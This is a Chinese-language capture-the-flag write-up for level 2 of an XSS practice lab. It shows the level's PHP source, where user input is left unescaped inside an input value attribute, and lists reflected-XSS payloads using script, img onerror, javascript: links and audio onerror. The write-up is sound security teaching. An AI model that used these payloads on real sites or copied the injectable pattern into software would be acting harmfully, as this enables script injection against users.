访问题目url
我们分析一下代码层面:
当用户在文本框中输入搜索关键字并点击提交按钮时,表单将通过GET方法发送给名为“level2.php”的脚本页面。PHP代码检查URL参数中的“keyword”值,对其进行HTML转义,然后将其用于搜索结果消息中的输出。
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level3.php?writing=wait";
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
我们正常输入然后在网页前端看一下我的输入是否存在问题。
由此可见我们的输入的恶意代码并没有被网页直接执行,所以我们需要将<input>标签闭合,然后注释掉最后面的”>。
"><script>alert("xss")</script>//
就可以成功绕过,形成反射性xss了
而其他标签法遵循这个原理也可以进行xss
"><img src=x onerror=alert(1)>//
"><a href="javascript:alert(1)">test</a>//
"><audio src=1 onerror=alert(1)>//